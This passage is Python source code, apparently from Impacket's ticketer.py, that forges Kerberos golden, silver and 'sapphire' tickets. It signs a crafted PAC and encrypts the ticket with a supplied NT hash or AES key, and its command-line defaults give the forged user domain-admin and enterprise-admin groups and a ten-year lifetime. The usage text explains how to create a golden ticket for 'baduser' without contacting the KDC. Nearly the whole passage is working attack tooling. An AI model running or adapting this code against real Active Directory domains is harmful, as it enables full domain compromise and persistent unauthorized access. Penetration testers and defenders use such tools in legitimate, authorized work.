privSvrChecksumAlignment pacType = PACTYPE() pacType['cBuffers'] = pac_count pacType['Version'] = 0 pacType['Buffers'] = buffers + buffersTail blobToChecksum = pacType.getData() checkSumFunctionServer = _checksum_table[serverChecksum['SignatureType']] if serverChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value: keyServer = Key(Enctype.AES256, unhexlify(self.__options.aesKey)) elif serverChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value: keyServer = Key(Enctype.AES128, unhexlify(self.__options.aesKey)) elif serverChecksum['SignatureType'] == ChecksumTypes.hmac_md5.value: keyServer = Key(Enctype.RC4, unhexlify(self.__options.nthash)) else: raise Exception('Invalid Server checksum type 0x%x' % serverChecksum['SignatureType']) checkSumFunctionPriv = _checksum_table[privSvrChecksum['SignatureType']] if privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value: keyPriv = Key(Enctype.AES256, unhexlify(self.__options.aesKey)) elif privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value: keyPriv = Key(Enctype.AES128, unhexlify(self.__options.aesKey)) elif privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_md5.value: keyPriv = Key(Enctype.RC4, unhexlify(self.__options.nthash)) else: raise Exception('Invalid Priv checksum type 0x%x' % serverChecksum['SignatureType']) serverChecksum['Signature'] = checkSumFunctionServer.checksum(keyServer, KERB_NON_KERB_CKSUM_SALT, blobToChecksum) logging.info('\tPAC_SERVER_CHECKSUM') privSvrChecksum['Signature'] = checkSumFunctionPriv.checksum(keyPriv, KERB_NON_KERB_CKSUM_SALT, serverChecksum['Signature']) logging.info('\tPAC_PRIVSVR_CHECKSUM') buffersTail = serverChecksum.getData() + serverChecksumAlignment + privSvrChecksum.getData() + privSvrChecksumAlignment pacType['Buffers'] = buffers + buffersTail authorizationData = AuthorizationData() authorizationData[0] = noValue authorizationData[0]['ad-type'] = AuthorizationDataType.AD_WIN2K_PAC.value authorizationData[0]['ad-data'] = pacType.getData() authorizationData = encoder.encode(authorizationData) encTicketPart['authorization-data'][0]['ad-data'] = authorizationData if logging.getLogger().level == logging.DEBUG: logging.debug('Customized EncTicketPart') print(encTicketPart.prettyPrint()) print('\n') encodedEncTicketPart = encoder.encode(encTicketPart) cipher = _enctype_table[kdcRep['ticket']['enc-part']['etype']] if cipher.enctype == EncryptionTypes.aes256_cts_hmac_sha1_96.value: key = Key(cipher.enctype, unhexlify(self.__options.aesKey)) elif cipher.enctype == EncryptionTypes.aes128_cts_hmac_sha1_96.value: key = Key(cipher.enctype, unhexlify(self.__options.aesKey)) elif cipher.enctype == EncryptionTypes.rc4_hmac.value: key = Key(cipher.enctype, unhexlify(self.__options.nthash)) else: raise Exception('Unsupported enctype 0x%x' % cipher.enctype) # Key Usage 2 # AS-REP Ticket and TGS-REP Ticket (includes TGS session # key or application session key), encrypted with the # service key (Section 5.3) logging.info('\tEncTicketPart') cipherText = cipher.encrypt(key, 2, encodedEncTicketPart, None) kdcRep['ticket']['enc-part']['cipher'] = cipherText kdcRep['ticket']['enc-part']['kvno'] = 2 # Lastly.. we have to encrypt the kdcRep['enc-part'] part # with a key we chose. It actually doesn't really matter since nobody uses it (could it be trash?) encodedEncASRepPart = encoder.encode(encASorTGSRepPart) if self.__domain == self.__server: # Key Usage 3 # AS-REP encrypted part (includes TGS session key or # application session key), encrypted with the client key # (Section 5.4.2) sessionKey = Key(cipher.enctype, encASorTGSRepPart['key']['keyvalue'].asOctets()) logging.info('\tEncASRepPart') cipherText = cipher.encrypt(sessionKey, 3, encodedEncASRepPart, None) else: # Key Usage 8 # TGS-REP encrypted part (includes application session # key), encrypted with the TGS session key # (Section 5.4.2) sessionKey = Key(cipher.enctype, encASorTGSRepPart['key']['keyvalue'].asOctets()) logging.info('\tEncTGSRepPart') cipherText = cipher.encrypt(sessionKey, 8, encodedEncASRepPart, None) kdcRep['enc-part']['cipher'] = cipherText kdcRep['enc-part']['etype'] = cipher.enctype kdcRep['enc-part']['kvno'] = 1 if logging.getLogger().level == logging.DEBUG: logging.debug('Final Golden Ticket') print(kdcRep.prettyPrint()) print('\n') return encoder.encode(kdcRep), cipher, sessionKey def saveTicket(self, ticket, sessionKey): logging.info('Saving ticket in %s' % (self.__target.replace('/', '.') + '.ccache')) from impacket.krb5.ccache import CCache ccache = CCache() if self.__server == self.__domain: ccache.fromTGT(ticket, sessionKey, sessionKey) else: ccache.fromTGS(ticket, sessionKey, sessionKey) ccache.saveFile(self.__target.replace('/','.') + '.ccache') def run(self): ticket, adIfRelevant = self.createBasicTicket() if ticket is not None: encASorTGSRepPart, encTicketPart, pacInfos = self.customizeTicket(ticket, adIfRelevant) ticket, cipher, sessionKey = self.signEncryptTicket(ticket, encASorTGSRepPart, encTicketPart, pacInfos) self.saveTicket(ticket, sessionKey) if __name__ == '__main__': print(version.BANNER) parser = argparse.ArgumentParser(add_help=True, description="Creates a Kerberos golden/silver tickets based on " "user options") parser.add_argument('target', action='store', help='username for the newly created ticket') parser.add_argument('-spn', action="store", help='SPN (service/server) of the target service the silver ticket will' ' be generated for. if omitted, golden ticket will be created') parser.add_argument('-request', action='store_true', default=False, help='Requests ticket to domain and clones it ' 'changing only the supplied information. It requires specifying -user') parser.add_argument('-domain', action='store', required=True, help='the fully qualified domain name (e.g. contoso.com)') parser.add_argument('-domain-sid', action='store', required=True, help='Domain SID of the target domain the ticker will be ' 'generated for') parser.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key used for signing the ticket ' '(128 or 256 bits)') parser.add_argument('-nthash', action="store", help='NT hash used for signing the ticket') parser.add_argument('-keytab', action="store", help='Read keys for SPN from keytab file (silver ticket only)') parser.add_argument('-groups', action="store", default = '513, 512, 520, 518, 519', help='comma separated list of ' 'groups user will belong to (default = 513, 512, 520, 518, 519)') parser.add_argument('-user-id', action="store", default = '500', help='user id for the user the ticket will be ' 'created for (default = 500)') parser.add_argument('-extra-sid', action="store", help='Comma separated list of ExtraSids to be included inside the ticket\'s PAC') parser.add_argument('-extra-pac', action='store_true', help='Populate your ticket with extra PAC (UPN_DNS)') parser.add_argument('-old-pac', action='store_true', help='Use the old PAC structure to create your ticket (exclude ' 'PAC_ATTRIBUTES_INFO and PAC_REQUESTOR') parser.add_argument('-duration', action="store", default = '87600', help='Amount of hours till the ticket expires ' '(default = 24*365*10)') parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') group = parser.add_argument_group('authentication') group.add_argument('-user', action="store", help='domain/username to be used if -request is chosen (it can be ' 'different from domain/username') group.add_argument('-password', action="store", help='password for domain/username') group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ' 'ommited it use the domain part (FQDN) specified in the target parameter') parser.add_argument('-impersonate', action="store", help='Sapphire ticket. target username that will be impersonated (through S4U2Self+U2U)' ' for querying the ST and extracting the PAC, which will be' ' included in the new ticket') if len(sys.argv)==1: parser.print_help() print("\nExamples: ") print("\t./ticketer.py -nthash -domain-sid -domain baduser\n") print("\twill create and save a golden ticket for user 'baduser' that will be all encrypted/signed used RC4.") print("\tIf you specify -aesKey instead of -ntHash everything will be encrypted using AES128 or AES256") print("\t(depending on the key specified). No traffic is generated against the KDC. Ticket will be saved as") print("\tbaduser.ccache.\n") print("\t./ticketer.py -nthash -aesKey -domain-sid -domain " " -request -user -password baduser\n") print("\twill first authenticate against the KDC (using -user/-password) and get a TGT that will be used") print("\tas template for customization. Whatever encryption algorithms used on that ticket will be honored,") print("\thence you might need to specify both -nthash and -aesKey data. Ticket will be generated for 'baduser'") print("\tand saved as baduser.ccache") sys.exit(1) options = parser.parse_args() # Init the example's logger theme logger.init(options.ts) if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) # Print the Library's installation path logging.debug(version.getInstallationPath()) else: logging.getLogger().setLevel(logging.INFO) if options.domain is None: logging.critical('Domain should be specified!') sys.exit(1) if options.aesKey is None and options.nthash is None and options.keytab is None: logging.error('You have to specify either aesKey, or nthash, or keytab') sys.exit(1) if options.aesKey is not None and options.nthash is not None and options.request is False: logging.error('You cannot specify both -aesKey and -nthash w/o using -request. Pick only one') sys.exit(1) if options.request is True and options.user is None: logging.error('-request parameter needs -user to be specified') sys.exit(1) if options.request is True and options.hashes is None and options.password is None: from getpass import getpass password = getpass("Password:") else: password = options.password if options.impersonate: # args that can't be None: -aesKey, -domain-sid, -nthash, -request, -domain, -user, -password # -user-id can't be None except if -old-pac is set # args that can't be False: -request missing_params = [ param_name for (param, param_name) in zip( [ options.request, options.aesKey, options.nthash, options.domain, options.user, options.password, options.domain_sid, options.user_id ], [ "-request", "-aesKey", "-nthash", "-domain", "-user", "-password", "-domain-sid", "-user-id" ] ) if param is None or (param_name == "-request" and not param) ] if missing_params: logging.error(f"missing parameters to do sapphire ticket : {', '.join(missing_params)}") sys.exit(1) if not options.old_pac and not options.user_id: logging.error(f"missing parameter -user-id. Must be set if not doing -old-pac") sys.exit(1) # ignored params: -extra-pac, -extra-sid, -groups, -duration # -user-id ignored if -old-pac ignored_params = [] if options.extra_pac: ignored_params.append("-extra-pac") if options.extra_sid is not None: ignored_params.append("-extra-sid") if options.groups is not None: ignored_params.append("-groups") if options.duration is not None: ignored_params.append("-duration") if ignored_params: logging.error(f"doing sapphire ticket, ignoring following parameters : {', '.join(ignored_params)}") if options.old_pac and options.user_id is not None: logging.error(f"parameter -user-id will be ignored when specifying -old-pac in a sapphire ticket attack") try: executer = TICKETER(options.target, password, options.domain, options) executer.run() except Exception as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() print(str(e))